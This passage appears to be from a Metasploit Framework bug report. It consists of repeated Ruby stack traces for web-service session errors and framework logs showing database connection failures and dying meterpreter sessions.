	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/server.rb:162:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/controllers/controller.rb:87:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/runner.rb:203:in `run_command'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/runner.rb:159:in `run!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/bin/thin:6:in `<top (required)>'
	 /opt/metasploit-framework/embedded/bin/thin:23:in `load'
	 /opt/metasploit-framework/embedded/bin/thin:23:in `<main>'
[-] Error executing job Missing required option :session
    Call Stack:
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session_event.rb:66:in `report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/session_event_servlet.rb:39:in `block (2 levels) in report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:22:in `block (2 levels) in start_processor_thread'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `loop'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `block in start_processor_thread'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'
[-] Error executing job Missing required option :session
    Call Stack:
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session_event.rb:66:in `report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/session_event_servlet.rb:39:in `block (2 levels) in report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:22:in `block (2 levels) in start_processor_thread'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `loop'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `block in start_processor_thread'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'
[-] Error handling request: Couldn't find Mdm::Session without an ID.
    Call Stack:
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation/finder_methods.rb:456:in `find_with_ids'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation/finder_methods.rb:69:in `find'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/querying.rb:22:in `find'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/core.rb:329:in `find'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session.rb:194:in `block in update_session'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/connection_adapters/abstract/connection_pool.rb:462:in `with_connection'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session.rb:191:in `update_session'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/session_servlet.rb:62:in `block in update_session'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1675:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1675:in `block in compile!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1013:in `block (3 levels) in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1032:in `route_eval'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1013:in `block (2 levels) in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1061:in `block in process_route'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1059:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1059:in `process_route'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1011:in `block in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1008:in `each'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1008:in `route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1129:in `block in dispatch!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `block in invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1124:in `dispatch!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:939:in `block in call!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `block in invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:939:in `call!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:929:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:36:in `block in call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:34:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:34:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/xss_header.rb:18:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/path_traversal.rb:16:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/json_csrf.rb:26:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/frame_options.rb:31:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/session/abstract/id.rb:266:in `context'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/session/abstract/id.rb:260:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/null_logger.rb:11:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/head.rb:12:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:216:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1991:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1542:in `block in call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1769:in `synchronize'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1542:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:86:in `block in pre_process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:84:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:84:in `pre_process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:53:in `process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:39:in `receive_data'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run_machine'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/backends/base.rb:75:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/server.rb:162:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/controllers/controller.rb:87:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/runner.rb:203:in `run_command'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/runner.rb:159:in `run!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/bin/thin:6:in `<top (required)>'
	 /opt/metasploit-framework/embedded/bin/thin:23:in `load'
	 /opt/metasploit-framework/embedded/bin/thin:23:in `<main>'

Framework Logs

The following framework logs were recorded before the issue occurred:

Collapse
[09/27/2022 08:29:10] [w(0)] core: Session 1 has died
[09/27/2022 08:30:03] [d(0)] core: HistoryManager.pop_context name: :msfconsole
[09/27/2022 08:30:31] [i(0)] core: Default data service found. Attempting to connect...
[09/27/2022 08:30:32] [i(0)] core: Trying to continue despite failed database creation: connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:30:32] [e(0)] core: DB.connect threw an exception - ActiveRecord::ConnectionNotEstablished connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:30:32] [e(0)] core: Failed to connect to the database: connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:30:32] [d(0)] core: Updated user based module store
[09/27/2022 08:30:34] [d(0)] core: HistoryManager.push_context name: :msfconsole
[09/27/2022 08:30:43] [d(0)] core: SMB version(s) to negotiate: [1, 2, 3]
[09/27/2022 08:30:43] [d(0)] core: Negotiated SMB version: SMB3
[09/27/2022 08:30:45] [d(0)] core: HistoryManager.push_context name: :meterpreter
[09/27/2022 08:30:49] [d(0)] core: HistoryManager.pop_context name: :meterpreter
[09/27/2022 08:31:06] [w(0)] core: Session 1 has died
[09/27/2022 08:31:51] [d(0)] core: HistoryManager.pop_context name: :msfconsole
[09/27/2022 08:53:59] [i(0)] core: Default data service found. Attempting to connect...
[09/27/2022 08:53:59] [i(0)] core: Trying to continue despite failed database creation: connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:53:59] [e(0)] core: DB.connect threw an exception - ActiveRecord::ConnectionNotEstablished connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:53:59] [e(0)] core: Failed to connect to the database: connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 08:53:59] [d(0)] core: Updated user based module store
[09/27/2022 08:54:06] [d(0)] core: HistoryManager.push_context name: :msfconsole
[09/27/2022 09:00:56] [d(0)] core: HistoryManager.pop_context name: :msfconsole
[09/27/2022 09:03:18] [i(0)] core: Default data service found. Attempting to connect...
[09/27/2022 09:03:18] [i(0)] core: Trying to continue despite failed database creation: connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 09:03:18] [e(0)] core: DB.connect threw an exception - ActiveRecord::ConnectionNotEstablished connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 09:03:18] [e(0)] core: Failed to connect to the database: connection to server at "127.0.0.1", port 5433 failed: Connection refused
	Is the server running on that host and accepting TCP/IP connections?

[09/27/2022 09:03:18] [d(0)] core: Updated user based module store
[09/27/2022 09:03:25] [d(0)] core: HistoryManager.push_context name: :msfconsole
[09/27/2022 09:06:18] [d(0)] core: SMB version(s) to negotiate: [1, 2, 3]
[09/27/2022 09:06:18] [d(0)] core: Negotiated SMB version: SMB3
[09/27/2022 09:06:20] [d(0)] core: HistoryManager.push_context name: :meterpreter
[09/27/2022 09:06:27] [d(0)] core: HistoryManager.pop_context name: :meterpreter
[09/27/2022 09:07:12] [w(0)] core: Session 1 has died

Web Service Logs

The following web service logs were recorded before the issue occurred:

Collapse
/opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1032:in `route_eval'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1013:in `block (2 levels) in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1061:in `block in process_route'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1059:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1059:in `process_route'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1011:in `block in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1008:in `each'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1008:in `route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1129:in `block in dispatch!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `block in invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1124:in `dispatch!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:939:in `block in call!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `block in invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:939:in `call!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:929:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:36:in `block in call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:34:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:34:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/xss_header.rb:18:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/path_traversal.rb:16:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/json_csrf.rb:26:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/frame_options.rb:31:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/session/abstract/id.rb:266:in `context'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/session/abstract/id.rb:260:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/null_logger.rb:11:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/head.rb:12:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:216:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1991:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1542:in `block in call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1769:in `synchronize'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1542:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:86:in `block in pre_process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:84:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:84:in `pre_process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:53:in `process'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/connection.rb:39:in `receive_data'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run_machine'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/eventmachine-1.2.7/lib/eventmachine.rb:195:in `run'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/backends/base.rb:75:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/server.rb:162:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/controllers/controller.rb:87:in `start'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/runner.rb:203:in `run_command'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/lib/thin/runner.rb:159:in `run!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/thin-1.8.1/bin/thin:6:in `<top (required)>'
	 /opt/metasploit-framework/embedded/bin/thin:23:in `load'
	 /opt/metasploit-framework/embedded/bin/thin:23:in `<main>'
[-] Error executing job Missing required option :session
    Call Stack:
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session_event.rb:66:in `report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/session_event_servlet.rb:39:in `block (2 levels) in report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:22:in `block (2 levels) in start_processor_thread'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `loop'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `block in start_processor_thread'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'
[-] Error executing job Missing required option :session
    Call Stack:
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session_event.rb:66:in `report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/session_event_servlet.rb:39:in `block (2 levels) in report_session_event'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:22:in `block (2 levels) in start_processor_thread'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `loop'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/job_processor.rb:19:in `block in start_processor_thread'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'
[-] Error handling request: Couldn't find Mdm::Session without an ID.
    Call Stack:
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation/finder_methods.rb:456:in `find_with_ids'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/relation/finder_methods.rb:69:in `find'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/querying.rb:22:in `find'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/core.rb:329:in `find'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session.rb:194:in `block in update_session'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/activerecord-6.1.4.1/lib/active_record/connection_adapters/abstract/connection_pool.rb:462:in `with_connection'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/db_manager/session.rb:191:in `update_session'
	 /opt/metasploit-framework/embedded/framework/lib/msf/core/web_services/servlet/session_servlet.rb:62:in `block in update_session'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1675:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1675:in `block in compile!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1013:in `block (3 levels) in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1032:in `route_eval'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1013:in `block (2 levels) in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1061:in `block in process_route'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1059:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1059:in `process_route'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1011:in `block in route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1008:in `each'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1008:in `route!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1129:in `block in dispatch!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `block in invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1124:in `dispatch!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:939:in `block in call!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `block in invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:1101:in `invoke'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:939:in `call!'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/sinatra-2.1.0/lib/sinatra/base.rb:929:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:36:in `block in call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:34:in `catch'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/warden-1.2.9/lib/warden/manager.rb:34:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/xss_header.rb:18:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/path_traversal.rb:16:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/json_csrf.rb:26:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/base.rb:50:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-protection-2.1.0/lib/rack/protection/frame_options.rb:31:in `call'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/session/abstract/id.rb:266:in `context'
	 /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rack-2.2.3/lib/rack/session/abstract/id.rb:260:in `call'
